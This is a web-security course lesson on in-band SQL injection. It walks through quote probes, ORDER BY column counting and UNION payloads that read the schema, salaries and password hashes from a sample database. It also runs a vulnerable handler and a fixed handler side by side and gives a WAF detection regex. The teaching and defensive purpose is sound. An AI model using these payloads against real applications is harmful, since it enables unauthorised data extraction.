TExcelTAD
Home › Web Application Security: OWASP Top 10, APIs & Authentication › SQL Injection: In-Band, Error-Based and UNION

SQL Injection: In-Band, Error-Based and UNION

You have seen SQL injection bypass a login in the survey and in String-Built versus Parameterised Queries. Bypassing one WHERE clause is the smallest thing injection can do. When the application shows query results or database errors on the page, an attacker can read any table the database account can read, one request at a time, without guessing anything: the page itself becomes the output channel. That is in-band injection, and this lesson walks through how an attacker gets from one quote character to a list of tables and their contents, so that you recognise each step in a log and know which fix stops it. Everything runs on databases the examples create.

Definitions

  • In-band SQLi: the attacker reads results through the same channel as the request, the HTTP response. Two kinds: error-based (the database error message carries data or structure) and UNION-based (a second SELECT appended with UNION returns attacker-chosen rows in the page's result list).
  • Blind SQLi: nothing comes back directly; the attacker infers data from true/false differences or delays (next lesson). Out-of-band: data leaves through another channel, such as a DNS lookup made by the database server.
  • UNION rules: both SELECTs must have the same number of columns, with compatible types (SQLite is lenient, PostgreSQL strict).
  • Schema catalogue: sqlite_master in SQLite, information_schema.tables/columns in MySQL, PostgreSQL and SQL Server, ALL_TABLES in Oracle.

The vulnerable search, on the sample shop

Imagine a product search page that builds SELECT name, price FROM products WHERE name LIKE '%<q>%' from the q parameter. Each block below is the query the application would build for one value of q, run on a fresh copy of the TAD Market sample database. First the normal search, q = Tea:

sql · try it yourself
SELECT name, price FROM products WHERE name LIKE '%Tea%';
name      | price
----------+------
Green Tea | 8.75
(1 row)

Now q = ' OR 1=1 --. The quote closes the string, OR 1=1 is true for every row, and -- comments out the rest. The page now lists every product:

sql · try it yourself
SELECT COUNT(*) AS rows_returned FROM products WHERE name LIKE '%' OR 1=1 --%';
rows_returned
-------------
30
(1 row)

(A count is shown instead of thirty rows.) To append a UNION, the attacker first needs the column count. ORDER BY n sorts by the n-th column and fails when n is too big, so they try ' ORDER BY 3 --:

sql · try it yourself
SELECT name, price FROM products WHERE name LIKE '%' ORDER BY 3 --%';
Error: 1st ORDER BY term out of range - should be between 1 and 2

The error message has just told the attacker the answer: two columns. If the application shows database errors on the page, it is error-based injection too. Next, q = ' UNION SELECT name, type FROM sqlite_master -- lists the schema:

sql · try it yourself
SELECT name, price FROM products WHERE name LIKE '%xyz%' UNION SELECT name, type FROM sqlite_master WHERE type = 'table' --%';
name        | price
------------+------
categories  | table
customers   | table
employees   | table
order_items | table
orders      | table
products    | table
suppliers   | table
(7 rows)

And finally the data the search page was never meant to show, employee salaries, through the same two columns:

sql · try it yourself
SELECT name, price FROM products WHERE name LIKE '%xyz%' UNION SELECT first_name || ' ' || last_name, salary FROM employees ORDER BY 2 DESC LIMIT 3 --%';
name        | price
------------+-------
Grace Holt  | 185000
Victor Ames | 98000
Lin Zhou    | 95000
(3 rows)

Four requests took the attacker from "is this injectable?" to the salary table. Real tools (sqlmap, shown as a lab session in the tools lesson) run the same steps automatically.

The same attack against an application, then the fix

The Python version wraps the query in a request handler that, like many real apps, puts the database error into the response. It replays the attacker's sequence against the vulnerable handler and the fixed one.

python · try it yourself
import sqlite3

db = sqlite3.connect(":memory:")
db.executescript("""
CREATE TABLE products (id INTEGER PRIMARY KEY, name TEXT, price REAL);
CREATE TABLE users (id INTEGER PRIMARY KEY, email TEXT, pw_hash TEXT);
INSERT INTO products (name, price) VALUES ('Green Tea', 4.5), ('Tea Pot', 19.0), ('Coffee', 7.0);
INSERT INTO users (email, pw_hash) VALUES ('admin@lab.test', '$argon2id$lab-only-1'), ('bob@lab.test', '$argon2id$lab-only-2');
""")

def search_vulnerable(q):
    try:
        rows = db.execute(f"SELECT name, price FROM products WHERE name LIKE '%{q}%'").fetchall()
        return f"200 {rows}"
    except sqlite3.Error as e:
        return f"500 database error: {e}"                 # leaks structure to the client

def search_fixed(q):
    if len(q) > 50:
        return "400 query too long"
    escaped = q.replace("\\", "\\\\").replace("%", "\\%").replace("_", "\\_")
    try:
        rows = db.execute("SELECT name, price FROM products WHERE name LIKE ? ESCAPE '\\'",
                          (f"%{escaped}%",)).fetchall()
        return f"200 {rows}"
    except sqlite3.Error:
        return "500 something went wrong (ref 3c1)"       # details go to the server log only

attempts = ["Tea", "'", "' ORDER BY 3 --", "' UNION SELECT email, pw_hash FROM users --"]
for q in attempts:
    print(f"q={q!r}")
    print("   vulnerable:", search_vulnerable(q))
    print("   fixed:     ", search_fixed(q))
q='Tea'
   vulnerable: 200 [('Green Tea', 4.5), ('Tea Pot', 19.0)]
   fixed:      200 [('Green Tea', 4.5), ('Tea Pot', 19.0)]
q="'"
   vulnerable: 500 database error: unrecognized token: "'"
   fixed:      200 []
q="' ORDER BY 3 --"
   vulnerable: 500 database error: 1st ORDER BY term out of range - should be between 1 and 2
   fixed:      200 []
q="' UNION SELECT email, pw_hash FROM users --"
   vulnerable: 200 [('Coffee', 7.0), ('Green Tea', 4.5), ('Tea Pot', 19.0), ('admin@lab.test', '$argon2id$lab-only-1'), ('bob@lab.test', '$argon2id$lab-only-2')]
   fixed:      200 []

The single quote alone is the first probe: the vulnerable handler answers with a database error (unrecognized token), which confirms the input reaches SQL. With parameters, the quote, the ORDER BY and the UNION are just strange search terms that match no product. The fixed handler also hides error details, so even a bug elsewhere wouldn't hand the attacker the structure.

The SQL injection lab shows the same two outcomes on a login form, character by character: input that stays inside a string literal is green, input that turned into SQL is red, and a comment is struck through. Its username starts as a UNION: the concatenated query returns all 3 rows of the toy users table with each password in the username column, so the app "signs in" as s3cret, alice's password, which is in-band extraction through the page. o'brien gives the error-based probe (near "brien": syntax error), and the parameterised query below it returns 0 rows for every attack string.

username' UNION SELECT id, passwo…passwordwrong-guesspassword shown in clear for the demoidusernamepasswordrole1alices3cretuser2bobhunter2user3adminK#9vT!q2adminconcatenated: "…WHERE username = '" + user + "' AND password = '" + pass + "'"SELECT id, username, role FROM users WHERE username = '' UNION SELECT id, password, role FROM users--' AND password = 'wrong-guess'parsed as: WHERE username = '' UNION SELECT … FROM users3 rows → signed in as "s3cret"parameterised: the query text is fixed, the inputs are bound as valuesSELECT id, username, role FROM users WHERE username = ? AND password = ??1 = ''' UNION SELECT id, password, role FROM users--'?2 = 'wrong-guess'0 rows → sign-in fails: quotes, OR, -- and UNION stay characters of a valuekey: SQL from the app · input kept as data · input that became SQL code · comment

How in-band injection is detected

  • Web and WAF logs: parameters containing ', --, /*, UNION, SELECT, ORDER BY with a number, sqlite_master, information_schema, often URL-encoded (%27, %20UNION%20). A short sequence from one client (quote → ORDER BY probes → UNION SELECT) is the signature of the manual process above. A WAF-style rule, here in ModSecurity-like pseudocode: match ARGS against /(?i)\bunion\b.{0,40}\bselect\b|'\s*(or|and)\s+\d+=\d+|\border\s+by\s+\d+\s*--/ → log and block. Rules like this catch tools and copy-pasted payloads but are bypassable (comments, case, encodings), so they are detection, not the fix.
  • Application logs: SQL syntax errors from the application's database account are close to proof of an injection attempt or bug.
  • Responses: 500s containing sqlite3.OperationalError, SQLSTATE, You have an error in your SQL syntax, ORA-01756.
  • Code review and SAST: any query built with string formatting from request data.

How it is fixed

Parameterised queries for every value, an allow-list for identifiers, a least-privilege database account (the search page's account shouldn't be able to read users or employees at all), and generic errors. The prevention lesson shows each of these, including ORMs and the database's own permission system.

Pitfalls

  • Fixing by blocking the word UNION: attackers use UnIoN, UNION/**/SELECT, or switch to blind techniques that need no UNION at all.
  • Hiding errors and calling it fixed: the injection is still there, just blind.
  • Numeric parameters (WHERE id = {id}) need no quote to inject (1 UNION SELECT …); parameters fix them too.

Practice

1. The search page has three columns (name, price, stock). Write the UNION payload that lists table names.

' UNION SELECT name, type, NULL FROM sqlite_master --: the column counts must match, and NULL fills the spare column in any type.

2. Your WAF log shows q=%27%20ORDER%20BY%201--, …BY%202--, …BY%203-- from one IP within seconds. What is happening, and what do you check next?

Column-count discovery for a UNION attack (or a tool doing it). Check the responses: if BY 3 returned an error, the attacker knows the count; look for a following UNION SELECT and what it returned, then fix the query and assess what data the database account could read.

Test yourself

What makes UNION-based injection 'in-band'?

  1. It uses DNS
  2. The extra rows come back in the application's normal response
  3. It needs a time delay
  4. It only works on SQLite

Why did the attacker send ORDER BY 3?

  1. To sort the products
  2. To discover the column count: it fails once n exceeds the number of columns
  3. To delete a column
  4. To read the schema

Which table lists the schema in SQLite?

  1. information_schema.tables
  2. sqlite_master
  3. ALL_TABLES
  4. pg_catalog

Is a WAF rule matching UNION ... SELECT a fix?

  1. Yes, it blocks injection
  2. No: it is detection and friction; encodings and blind techniques bypass it, so the query must be parameterised
  3. Yes, if case-insensitive
  4. Only for MySQL

In the SQL injection lab, the UNION username makes the app sign in as "s3cret". Why?

  1. s3cret is a user name in the table
  2. The injected SELECT puts each password in the username column, and the app shows the first row's username
  3. The parameterised query leaked it
  4. The database returned an error message